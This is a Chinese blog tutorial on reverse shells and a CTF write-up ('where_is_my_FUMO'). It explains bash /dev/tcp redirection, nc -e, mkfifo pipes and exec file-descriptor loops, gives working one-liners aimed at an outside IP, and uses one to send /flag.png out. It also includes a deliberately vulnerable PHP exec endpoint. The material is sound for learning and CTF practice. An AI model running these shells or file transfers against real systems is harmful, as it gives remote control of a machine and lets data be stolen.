admin 管理员组

文章数量: 887021

[CTF]

[二]反弹shell的本质

  • 开放端口(腾讯云,宝塔面板)
  • 什么是反弹shell
  • 反弹shell的本质是什么
    • bash -i
    • /dev/tcp/ip/port
      • 实例1:
      • 实例2:
    • 交互重定向
    • >&、&>
  • 常见的反弹shell 的语句怎么理解
    • 1
    • 2
    • 3
    • 4
  • 结束
  • 极客大挑战where_is_my_FUMO


开放端口(腾讯云,宝塔面板)

测试反弹shell 需要保证端口开放

打开腾讯云 --> 打开安全组 --> 添加规则

添加入站规则

完成之后–> 一键放通

然后进入宝塔面板

想放行什么端口就写端口号

我这里是2333

到这里2333端口就已经成功开放了

接下来就可以反弹shell


什么是反弹shell

reverse shell,就是控制端监听在某TCP/UDP端口,

被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shelltelnet

ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。


反弹shell的本质是什么

攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接

我们可以先以一个linux 下的反弹shell 的命令为例来看一下反弹shell 的命令都做了些什么,

掌握了反弹的本质,再多的方法其实只是换了包装而已

实验环境:

victim: Kali Linux -------> 192.168.192.133
attacker:Ubuntu Linux ---> 101.34.32.151

bash

attacker机器上执行:

nc -lvp 2333
//出现nc: getnameinfo: Temporary failure in name resolution
//就加上 n 
nc -lvnp 2333

victim机器上执行:

bash -i >& /dev/tcp/101.34.32.151/2333 0>&1

可以看到在攻击机上出现了受害者机器的shell

解释一下这条命令具体的含义:


bash -i

  1. bash 是linux 的一个比较常见的shell,其实linux的shell还有很多,比如 sh、zsh、等,他们之间有着细小差别
  2. -i 这个参数表示的是产生交互式的shell

/dev/tcp/ip/port

/dev/tcp|udp/ip/port 这个文件是特别特殊的,

实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的,

如下图:

但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信

实例1:

	victim:

	attacker:

实例2:

	attacker:

	victim:

然后再attacker上输入内容

然后victim上就会显示同样的内容


交互重定向

为了实现交互,我们需要把受害者交互式shell的输出重定向到攻击机上

在受害者机器上输入

bash -i > /dev/tcp/192.168.146.129/2333

如下图所示,任何在受害者机器上执行的指令都不会直接回显了,而是在攻击者机器上回显

但是这里有一个问题,攻击者没有能够实现对受害者的控制,攻击者执行的命令没法在受害者电脑上执行

于是我们似乎还需要一条这样的指令

bash -i < /dev/tcp/101.34.32.151/2333

这条指令的意思是将攻击者输入的命令输入给受害者的bash,自然就能执行了

现在我们需要将两条指令结合起来

(如果这条指令看不懂可以去看一下我上面提供的文章的链接再回来看这条指令):

bash -i > /dev/tcp/101.34.32.151/2333 0>&1

由这张示意图可以很清楚地看到,

输入0是由/dev/tcp/192.168.146.129/2333 输入的,也就是攻击机的输入,命令执行的结果1

输出/dev/tcp/192.168.156.129/2333上,这就形成了一个回路

实现了我们远程交互式shell 的功能

如下图所示,我在攻击机上输入 ifconfig,查看到的是受害者ip

也就是说我们目前已经基本完成了一个反弹shell 的功能

注意:
但是这里有一个问题,就是我们在受害者机器上依然能看到我们在攻击者机器中执行的指令 ,如下图所示,我们马上解决


>&、&>

现在我们解决一下前面的问题:

bash -i > /dev/tcp/192.168.146.129/2333 0>&1 2>&10''

可以看到命令并没有回显在受害者机器上,我们的目的达成了

当然我们也可以执行与之完全等价的指令

bash -i >& /dev/tcp/101.34.32.151/2333 0>&1

至此,我们的反弹shell的经典语句就分析完了,通过这条语句的分析我们能大致的了解反弹shell的本质

以后碰到其他的反弹shell 的语句也能用类似的分析方法区分析

甚至我们也可以自己举一反三创造更加绝妙的反弹shell 的语句


常见的反弹shell 的语句怎么理解

1

bash -i >& /dev/tcp/101.34.32.151/2333 0>&1

bash -i >& /dev/tcp/101.34.32.151/2333 0<&1

这里的唯一区别就是0>&10<&1

其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别

2

bash -i >& /dev/tcp/192.168.146.129/2333 <&2

等价于

bash -i >& /dev/tcp/192.168.146.129/2333 0<&2

3

exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done

解释:

exec 5<>/dev/tcp/192.168.146.129/2333

这一句将文件描述符5 重定向到了 /dev/tcp/192.168.146.129/2333 并且方式是读写方式

于是我们就能通过文件描述符对这个socket连接进行操作了

command|while read line do .....done

原句是下面

while read line
do#code
done < file

从文件中依次读取每一行,将其赋值给 line 变量

(当然这里变量可以很多,以空格分隔,这里我就举一个变量的例子,如果是一个变量的话,那么一整行都是它的了)

之后再在循环中对line进行操作

而现在我们不是从file 文件中输入了,我们使用管道符对攻击者机器上输入的命令依次执行

并将标准输出标准错误输出重定向到了文件描述符5,也就是攻击机上,实现交互式shell的功能。

与之完全类似的还有下面这条指令

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

4

nc -e 可以直接反弹shell

nc -e /bin/sh 101.34.32.151 2333

如果没有 -e 那可以参考下面

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f

简单的解释:
mkfifo 命令首先创建了一个管道cat 将管道里面的内容输出传递给/bin/shsh执行管道里的命令并将标准输出标准错误输出结果通过nc 传到该管道,由此形成了一个回路

类似的命令:

mknod backpipe p; nc 192.168.146.129 2333 0<backpipe | /bin/bash 1>backpipe 2>backpipe

结束

反弹shell方法很常见,但也要自己会构造

文件描述和重定向是基础


极客大挑战where_is_my_FUMO

题目

<?php
function chijou_kega_no_junnka($str) {$black_list = [">", ";", "|", "{", "}", "/", " "];return str_replace($black_list, "", $str);
}
if (isset($_GET['DATA'])) {$data = $_GET['DATA'];$addr = chijou_kega_no_junnka($data['ADDR']);$port = chijou_kega_no_junnka($data['PORT']);exec("bash -c \"bash -i < /dev/tcp/$addr/$port\"");
} else {highlight_file(__FILE__);
}

对题目传数组参数,执行到exec可以反弹shell

构造payload

http://1.14.102.22:8115/?DATA[ADDR]=101.34.32.151&DATA[PORT]=2333

这样就可以反弹shell到对应的ip端口

在服务器端执行

nc -lvvnp 2333

拿下服务器后发现没有回显

原因是题目中,bash反弹shell写法,只能将命令攻击机传到受害着,命令可以执行但是没有回显

bash -c \"bash -i < /dev/tcp/$addr/$port\

拿到无回显shell之后也就有两种方法,第一种就是再反弹 可回显交互式shell 到vps的其他端口

bash -i >& /dev/tcp/101.34.32.151/6666

监听端口,拿到shell,发现根目录flag.png

然后把文件转到服务器上

	本地:
nc -lvnp 2333 > test.png
	靶机:
cat /flag.png >& /dev/tcp/101.34.32.151/2333 0>&1

然后本地就会出现一个test.png

然后以base64读取图片

cat test.png | base64 

有的显示的长度有限制 所以多次输出

cat /flag.png | base64 | tail -n +1|head -n 8000cat /flag.png | base64 | tail -n +8001|head -n 8000
每次读8000行,读两次,然后base64转图片


以上就是自己学习反弹shell的全部内容 分为[1]和[2] 内容

感谢师傅看到这里

本文标签: CTF